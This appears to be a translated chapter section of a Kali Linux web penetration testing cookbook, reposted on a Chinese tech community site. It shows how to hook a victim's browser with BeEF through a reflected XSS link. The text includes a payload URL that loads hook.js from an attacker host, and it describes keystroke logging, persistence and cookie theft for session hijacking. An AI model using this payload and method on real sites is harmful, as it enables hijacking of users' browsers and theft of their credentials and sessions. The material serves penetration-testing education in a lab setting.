前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 5.5 - 利用BeEF执行xss攻击

Kali Linux Web渗透测试手册(第二版) - 5.5 - 利用BeEF执行xss攻击

作者头像
用户1631416
发布2018-12-29 16:13:11
3.1K0
发布2018-12-29 16:13:11
举报
文章被收录于专栏:玄魂工作室玄魂工作室

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

标记红色的部分为今日更新内容。

第五章、使用跨站脚本攻击客户端

5.0、介绍

5.1、使用浏览器绕过客户端控制

5.2、识别跨站脚本漏洞

5.3、利用XSS获取Cookie

5.4、利用DOM XSS

5.5、利用BeEF执行xss攻击

5.6、从Web存储中提取信息

5.7、使用ZAP测试WebSokets

5.8、使用XSS和Metasploit获取远程shell


5.5、利用BeEF执行xss攻击

BeEF,全称The BrowserExploitation Framework(浏览器攻击框架),是一款针对web浏览器的渗透测试工具。

在这个小节中,我们将演示利用XSS漏洞和BeEF框架控制目标浏览器。

环境准备

在开始之前,我们需要确保已经启动了BeEF服务,默认管理页面的url是:

http://127.0.0.1:3000/ui/panel(默认账号密码为BeEF /BeEF)。

1. 在kali linux中默认的BeEF的服务是不起作用的,所以不能以beef-xss这样简单的方式来启动BeEF。我们需要从安装它的目录下启动它,如下图所示:

l cd/usr/share/beef-xss/

l ./beef

2. 现在,浏览器打开http://127.0.0.1:3000/ui/panel并使用默认账户名密码(beef/beef)。如果成功打开,那我们就准备进行下一步。

实战演练

BeEF需要目标浏览器调用hook.js文件,它能让浏览器挂钩到我们的BeEF服务器,另外我们将利用一个易受XSS攻击的应用程序,让目标用户调用它:

1. 想象你是受害者,你收到了一封包含xss链接的电子邮件,若你点击它,访问了该链接:

http://192.168.56.11/bodgeit/search.jsp?q=<scriptsrc="http://192.168.56.10:3000/hook.js"> </script>

2. 现在,在BeEF面板中,攻击者将看到一个浏览器上线:

3. 如果我们在浏览器中查看Logs选项卡,我们可以看到BeEF存储了用户在浏览器窗口中执行的操作的信息,比如输入和单击,如下图所示:

4. 在浏览器被hook.js文件挂钩之后,目标用户在被域中导航攻击时,攻击者最好要让会话变为持久性的。下一步转到攻击者浏览器中的Commands选项卡,进入模块目录,转到浏览器中的Persistence | Man-In-The-Browser,然后单击Execute执行他。

5. 模块执行后,在模块的历史记录中选择相关命令,检查结果如下:

6. 攻击者还可以使用BeEF在受害者浏览器中执行命令。例如,在模块目录中,到Browser | Get Cookie,点击Execute来获取用户的Cookie:

原理剖析

在此小节中,我们使用script标记中的src属性来调用外部JavaScript文件。在这个例子中,我们是调用了BeEF服务器的钩子。

这个hook.js文件与服务器通信,执行命令,并返回响应,以便攻击者可以看到;它不会在客户端浏览器中打印任何内容,因此受害者通常不会知道他的浏览器已经被劫持。

在让受害者执行钩子脚本之后,我们使用浏览器中的持久化模块Man-in-the-Browser,让浏览器在每次用户单击到相同域的链接时执行AJAX请求,以便该请求保留钩子并加载新页面。

我们还看到,BeEF的日志记录了用户在页面上执行的每个操作,我们可以从中获得用户名和密码。还可以远程获取会话cookie,这可能允许攻击者劫持受害者的会话。

模块左边的彩色圆圈表示模块的可用性和可见性:绿色模块为受害浏览器正在工作,用户不应该看到它;橙色表示模块可以工作,但用户会注意到它或必须与它交互;灰色表示模块在该浏览器中还没有经过测试;

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档